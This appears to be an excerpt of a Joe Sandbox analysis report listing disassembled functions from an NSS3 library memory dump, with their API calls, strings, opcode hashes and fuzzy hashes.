Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: memchrtolower$isspace
String ID: +$-$0123456789abcdef
API String ID: 3040594209-2676945536
Opcode ID: 6e7692c99a31f0d0a8cc8539923b9c4a689ad7c19bd3ae7eaa7661dc7a145b05
Instruction ID: 56d2a382eeb5d29a20817f3f4cf826d9bfe22a6b7176b18f6b3d715d0a0b80f6
Opcode Fuzzy Hash: 6e7692c99a31f0d0a8cc8539923b9c4a689ad7c19bd3ae7eaa7661dc7a145b05
Instruction Fuzzy Hash: F1317C71F051664BEB1045AE8CA13ABBBED5B41314F1C0236D898F3700E9359DC547D1

Function 6CA2EF30 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,?,6CA4A4A1,?,00000000,?,00000001), ref: 6CA2EF6D

Part of subcall function 6CA4C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CA4C2BF

htonl.WSOCK32(00000000,?,6CA4A4A1,?,00000000,?,00000001), ref: 6CA2EFE4
htonl.WSOCK32(?,00000000,?,6CA4A4A1,?,00000000,?,00000001), ref: 6CA2EFF1
memcpy.VCRUNTIME140(?,?,6CA4A4A1,?,00000000,?,6CA4A4A1,?,00000000,?,00000001), ref: 6CA2F00B
memcpy.VCRUNTIME140(?,00000000,?,?,?,00000000,?,6CA4A4A1,?,00000000,?,00000001), ref: 6CA2F027

Strings

dtls13, xrefs: 6CA2EF33

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: htonlmemcpy$ErrorValue
String ID: dtls13
API String ID: 242828995-1883198198
Opcode ID: 1ffa294cf0614c09cf717072d45f82669314096455fed37027d4b28845f2f6de
Instruction ID: 86bfc71fe7128d4a3c5e6c739fb45e6560593b6dd7370ce501484dd983a83c1b
Opcode Fuzzy Hash: 1ffa294cf0614c09cf717072d45f82669314096455fed37027d4b28845f2f6de
Instruction Fuzzy Hash: 3431F371A002219BC720DF38DD40B8AB7E4EF45348F198029EC189B751E735E999CBE1

Function 6C9AAF60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C9AAFBE
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6CAC9500,6C9A3F91), ref: 6C9AAFD2

Part of subcall function 6C9FB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CAD18D0,?), ref: 6C9FB095

DER_GetInteger_Util.NSS3(?), ref: 6C9AB007

Part of subcall function 6C9F6A90: PR_SetError.NSS3(FFFFE009,00000000,?,00000000,?,6C9A1666,?,6C9AB00C,?), ref: 6C9F6AFB

PR_SetError.NSS3(FFFFE009,00000000), ref: 6C9AB02F
PR_CallOnce.NSS3(6CB02AA4,6CA012D0), ref: 6C9AB046
PL_FreeArenaPool.NSS3 ref: 6C9AB058
PL_FinishArenaPool.NSS3 ref: 6C9AB060

Strings

security, xrefs: 6C9AAFB8

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: ArenaErrorPool$Util$CallDecodeFinishFreeInitInteger_Item_OnceQuick
String ID: security
API String ID: 3627567351-3315324353
Opcode ID: 972fa764f8157d5b82d9df112ee7d25fe588ff8f8105114bb21daf9edaa05001
Instruction ID: 92af80fc52f7cd00c75120156a07957b134e4e3ff42ee063956d09c05c409f7f
Opcode Fuzzy Hash: 972fa764f8157d5b82d9df112ee7d25fe588ff8f8105114bb21daf9edaa05001
Instruction Fuzzy Hash: 11313670504304DBDB108F65D845BAA77B8AF8636CF100618E9B4ABBD5E732D18ECB97

Function 6C9A3E60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

Part of subcall function 6C9A40D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6C9A3F7F,?,00000055,?,?,6C9A1666,?,?), ref: 6C9A40D9
Part of subcall function 6C9A40D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6C9A1666,?,?), ref: 6C9A40FC
Part of subcall function 6C9A40D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6C9A1666,?,?), ref: 6C9A4138

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9A3EC2
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C9A3ED6

Part of subcall function 6C9FB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CAD18D0,?), ref: 6C9FB095

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C9A3EEE

Part of subcall function 6C9FFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C9F8D2D,?,00000000,?), ref: 6C9FFB85
Part of subcall function 6C9FFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C9FFBB1

PR_CallOnce.NSS3(6CB02AA4,6CA012D0), ref: 6C9A3F02
PL_FreeArenaPool.NSS3 ref: 6C9A3F14
PL_FinishArenaPool.NSS3 ref: 6C9A3F1C

Part of subcall function 6CA064F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6CA0127C,00000000,00000000,00000000), ref: 6CA0650E

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C9A3F27

Strings

security, xrefs: 6C9A3EBC

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Util$ArenaItem_$Pool$Error$Alloc_CallCompareCopyDecodeFindFinishFreeInitOnceQuickTag_Zfreefreememcpy
String ID: security
API String ID: 1076417423-3315324353
Opcode ID: ebb133988c1830832e035f9bf03b84eb75913de726e7f619d9d3a90a0cef7179
Instruction ID: 9a61d987a3681b2df2972f15990ac3794a6d3903567a472ef4b527702d2f03fe
Opcode Fuzzy Hash: ebb133988c1830832e035f9bf03b84eb75913de726e7f619d9d3a90a0cef7179
Instruction Fuzzy Hash: 2F21F871A04300ABD7148B65BC02FAB77A8FB5835CF04053DF959A7741E731D5288796

Function 6C9ECC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6C9ECD08
PK11_DoesMechanism.NSS3(?,?), ref: 6C9ECE16
PR_SetError.NSS3(00000000,00000000), ref: 6C9ED079

Part of subcall function 6CA4C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CA4C2BF

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: a430d2150942040584f938639eda148b31f42145ce74e0945d3ff6dbdf655eaf
Instruction ID: 3c86b4f1ef34185ed2ab1f74202c4e927662956576258464f1cff373d475eea4
Opcode Fuzzy Hash: a430d2150942040584f938639eda148b31f42145ce74e0945d3ff6dbdf655eaf
Instruction Fuzzy Hash: 9FC17FB5A002199BDB11DF24CC80BDABBB8BF6C318F1441A8D948A7741E775EE95CF90

Function 6C9DDC60 Relevance: 13.7, APIs: 9, Instructions: 245memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,6C9E97C1,?,00000000,00000000,?,?,?,00000000,?,6C9C7F4A,00000000), ref: 6C9DDC68

Part of subcall function 6CA00BE0: malloc.MOZGLUE(6C9F8D2D,?,00000000,?), ref: 6CA00BF8
Part of subcall function 6CA00BE0: TlsGetValue.KERNEL32(6C9F8D2D,?,00000000,?), ref: 6CA00C15

PORT_Alloc_Util.NSS3(00000008,00000000,?,?,?,00000000,?,6C9C7F4A,00000000,?,00000000,00000000), ref: 6C9DDD36
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6C9C7F4A,00000000,?,00000000,00000000), ref: 6C9DDE2D
memcpy.VCRUNTIME140(00000000,00000000,?,?,00000000,?,?,?,00000000,?,6C9C7F4A,00000000,?,00000000,00000000), ref: 6C9DDE43
PORT_Alloc_Util.NSS3(0000000C,00000000,?,?,?,00000000,?,6C9C7F4A,00000000,?,00000000,00000000), ref: 6C9DDE76
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6C9C7F4A,00000000,?,00000000,00000000), ref: 6C9DDF32
memcpy.VCRUNTIME140(-00000010,00000000,00000000,?,00000000,?,?,?,00000000,?,6C9C7F4A,00000000,?,00000000,00000000), ref: 6C9DDF5F
PORT_Alloc_Util.NSS3(00000004,00000000,?,?,?,00000000,?,6C9C7F4A,00000000,?,00000000,00000000), ref: 6C9DDF78
PORT_Alloc_Util.NSS3(00000010,00000000,?,?,?,00000000,?,6C9C7F4A,00000000,?,00000000,00000000), ref: 6C9DDFAA

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Alloc_Util$memcpy$Valuemalloc
String ID:
API String ID: 1886645929-0
Opcode ID: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction ID: 62766374fc9300e1800acd705f53c37d81ccca97ae6d3cf25eb0828e7d11f6e0
Opcode Fuzzy Hash: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction Fuzzy Hash: 9081A073646E028BFB144E19D890369769ADB61348F22C43AD919EAFE1D774F4C4CE32

Function 6C9B3C60 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_GetCertFromPrivateKey.NSS3(?), ref: 6C9B3C76
CERT_DestroyCertificate.NSS3(00000000), ref: 6C9B3C94

Part of subcall function 6C9A95B0: TlsGetValue.KERNEL32(00000000,?,6C9C00D2,00000000), ref: 6C9A95D2
Part of subcall function 6C9A95B0: EnterCriticalSection.KERNEL32(?,?,?,6C9C00D2,00000000), ref: 6C9A95E7
Part of subcall function 6C9A95B0: PR_Unlock.NSS3(?,?,?,?,6C9C00D2,00000000), ref: 6C9A9605

PORT_NewArena_Util.NSS3(00000800), ref: 6C9B3CB2
PORT_ArenaAlloc_Util.NSS3(00000000,000000AC), ref: 6C9B3CCA
memset.VCRUNTIME140(00000000,00000000,000000AC), ref: 6C9B3CE1

Part of subcall function 6C9B3090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9CAE42), ref: 6C9B30AA
Part of subcall function 6C9B3090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C9B30C7
Part of subcall function 6C9B3090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C9B30E5
Part of subcall function 6C9B3090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C9B3116
Part of subcall function 6C9B3090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C9B312B
Part of subcall function 6C9B3090: PK11_DestroyObject.NSS3(?,?), ref: 6C9B3154
Part of subcall function 6C9B3090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9B317E

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Util$Arena_$Alloc_ArenaDestroyK11_memset$AlgorithmCertCertificateCopyCriticalEnterFreeFromItem_ObjectPrivateSectionTag_UnlockValue
String ID:
API String ID: 3167935723-0
Opcode ID: dfe3487ee90970770773ca3515e4b8ffc8bda961dee2fc1d9195bf38b86d2c56
Instruction ID: 83a9ecdec88a1fdd53bfd4e555619138306d551757fd1c5841da2d331a555177
Opcode Fuzzy Hash: dfe3487ee90970770773ca3515e4b8ffc8bda961dee2fc1d9195bf38b86d2c56
Instruction Fuzzy Hash: 4161A871A00200BBEF119F75DC45FAB76A9BF28748F484129FD05AAA52FB31D918C7A1

Function 6C9F3D40 Relevance: 13.7, APIs: 9, Instructions: 169COMMON

Download Yara Rule

APIs

Part of subcall function 6C9F3440: PK11_GetAllTokens.NSS3 ref: 6C9F3481
Part of subcall function 6C9F3440: PR_SetError.NSS3(00000000,00000000), ref: 6C9F34A3
Part of subcall function 6C9F3440: TlsGetValue.KERNEL32 ref: 6C9F352E
Part of subcall function 6C9F3440: EnterCriticalSection.KERNEL32(?), ref: 6C9F3542
Part of subcall function 6C9F3440: PR_Unlock.NSS3(?), ref: 6C9F355B

TlsGetValue.KERNEL32 ref: 6C9F3D8B
EnterCriticalSection.KERNEL32(?), ref: 6C9F3D9F
PR_Unlock.NSS3(?), ref: 6C9F3DCA
PR_SetError.NSS3(00000000,00000000), ref: 6C9F3DE2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C9F3E4F

Part of subcall function 6CA4C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CA4C2BF

TlsGetValue.KERNEL32 ref: 6C9F3E97
EnterCriticalSection.KERNEL32(?), ref: 6C9F3EAB
PR_Unlock.NSS3(?), ref: 6C9F3ED6
PR_SetError.NSS3(00000000,00000000), ref: 6C9F3EEE

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: ErrorValue$CriticalEnterSectionUnlock$K11_Tokens
String ID:
API String ID: 2554137219-0
Opcode ID: 6ddec1486f75d3e2f133a62c5b6c83e87e2904dbf0e874b22d5c040013175f3f
Instruction ID: bb48123ba6409afe02e9ba0ddd3f7390caa2143a049cc0523f587f4a5a1c16c1
Opcode Fuzzy Hash: 6ddec1486f75d3e2f133a62c5b6c83e87e2904dbf0e874b22d5c040013175f3f
Instruction Fuzzy Hash: 5D513875A002019FEB116F39DC44B6A73B8BF55318F054168DE2947B21EB35E85ACBD2

Function 6C9A2C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(D283B6FE), ref: 6C9A2C5D

Part of subcall function 6CA00D30: calloc.MOZGLUE ref: 6CA00D50
Part of subcall function 6CA00D30: TlsGetValue.KERNEL32 ref: 6CA00D6D

CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001), ref: 6C9A2C8D
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C9A2CE0

Part of subcall function 6C9A2E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C9A2CDA,?,00000000), ref: 6C9A2E1E
Part of subcall function 6C9A2E00: SECITEM_DupItem_Util.NSS3(?), ref: 6C9A2E33
Part of subcall function 6C9A2E00: TlsGetValue.KERNEL32 ref: 6C9A2E4E
Part of subcall function 6C9A2E00: EnterCriticalSection.KERNEL32(?), ref: 6C9A2E5E
Part of subcall function 6C9A2E00: PL_HashTableLookup.NSS3(?), ref: 6C9A2E71
Part of subcall function 6C9A2E00: PL_HashTableRemove.NSS3(?), ref: 6C9A2E84
Part of subcall function 6C9A2E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6C9A2E96
Part of subcall function 6C9A2E00: PR_Unlock.NSS3 ref: 6C9A2EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C9A2D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6C9A2D30
CERT_MakeCANickname.NSS3(00000001), ref: 6C9A2D3F
free.MOZGLUE(00000000), ref: 6C9A2D73
CERT_DestroyCertificate.NSS3(?), ref: 6C9A2DB8
free.MOZGLUE ref: 6C9A2DC8

Part of subcall function 6C9A3E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9A3EC2
Part of subcall function 6C9A3E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C9A3ED6
Part of subcall function 6C9A3E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C9A3EEE
Part of subcall function 6C9A3E60: PR_CallOnce.NSS3(6CB02AA4,6CA012D0), ref: 6C9A3F02
Part of subcall function 6C9A3E60: PL_FreeArenaPool.NSS3 ref: 6C9A3F14
Part of subcall function 6C9A3E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C9A3F27

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
API String ID: 3941837925-0
Opcode ID: 03051e8ba7737ba015d91835525856bedeef0bb1e66949f0e83b5d929a522847
Instruction ID: c6ddf51b1d4cd6cd7c1a6d2da60a59715bc2c8fef9ec58b46d13f6edd72c731e
Opcode Fuzzy Hash: 03051e8ba7737ba015d91835525856bedeef0bb1e66949f0e83b5d929a522847
Instruction Fuzzy Hash: 1151E171A04711AFDB10DFAADC88B5B77E9EF94348F15042CEC5987A12E731E816CB92

Function 6C9C8F70 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6C9BDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C9C8FAF
PR_Now.NSS3(?,?,00000002,?,?,?,6C9BDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C9C8FD1
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C9BDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C9C8FFA
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C9BDA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C9C9013
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C9BDA9B,?,00000000,?,?,?,?,CE534353), ref: 6C9C9042
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C9BDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C9C905A
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C9BDA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C9C9073
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C9BDA9B,?,00000000,?,?,?,?,CE534353), ref: 6C9C90EC

Part of subcall function 6C990F00: PR_GetPageSize.NSS3(6C990936,FFFFE8AE,?,6C9216B7,00000000,?,6C990936,00000000,?,6C92204A), ref: 6C990F1B
Part of subcall function 6C990F00: PR_NewLogModule.NSS3(clock,6C990936,FFFFE8AE,?,6C9216B7,00000000,?,6C990936,00000000,?,6C92204A), ref: 6C990F25

PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C9BDA9B,?,00000000,?,?,?,?,CE534353), ref: 6C9C9111

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValue$InternalK11_ModulePageSizeSlot
String ID:
API String ID: 2831689957-0
Opcode ID: 00bab8ae68bcb8b3cd3c2b3f41a33376eed348232e093c9717d0155ccab43856
Instruction ID: 0e1721bfff2f2ea58b30d3a9e26249076f1244897fcc20e62fee5a0668bc62b4
Opcode Fuzzy Hash: 00bab8ae68bcb8b3cd3c2b3f41a33376eed348232e093c9717d0155ccab43856
Instruction Fuzzy Hash: D2517874B046058FDB04EF38C488299BBF8BF19318F069569DC459B706EB30E989CB93

Function 6C9A8980 Relevance: 13.6, APIs: 9, Instructions: 150memoryCOMMON

Download Yara Rule

APIs

PORT_FreeArena_Util.NSS3(00000000,00000000,00000000,?,00000028,?,?,6C9A7310), ref: 6C9A89B8

Part of subcall function 6CA01200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C9A88A4,00000000,00000000), ref: 6CA01228
Part of subcall function 6CA01200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6CA01238
Part of subcall function 6CA01200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6C9A88A4,00000000,00000000), ref: 6CA0124B
Part of subcall function 6CA01200: PR_CallOnce.NSS3(6CB02AA4,6CA012D0,00000000,00000000,00000000,?,6C9A88A4,00000000,00000000), ref: 6CA0125D
Part of subcall function 6CA01200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6CA0126F
Part of subcall function 6CA01200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6CA01280
Part of subcall function 6CA01200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6CA0128E
Part of subcall function 6CA01200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6CA0129A
Part of subcall function 6CA01200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6CA012A1

PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000000,?,00000028,?,?,6C9A7310), ref: 6C9A89E6
PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000004,?), ref: 6C9A8A00
CERT_CopyRDN.NSS3(00000004,00000000,6C9A7310,?,?,00000004,?), ref: 6C9A8A1B
PORT_ArenaGrow_Util.NSS3(00000004,00000000,?,?,?,?,?,?,?,00000004,?), ref: 6C9A8A74
PR_SetError.NSS3(FFFFE005,00000000,00000000,?,00000028,?,?,6C9A7310), ref: 6C9A8AAF
PORT_ArenaAlloc_Util.NSS3(00000004,00000008,00000000,?,00000028,?,?,6C9A7310), ref: 6C9A8AF3
PORT_ArenaGrow_Util.NSS3(00000004,?,C8850FC0,00000000,00000000,?,00000028,?,?,6C9A7310), ref: 6C9A8B1D

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
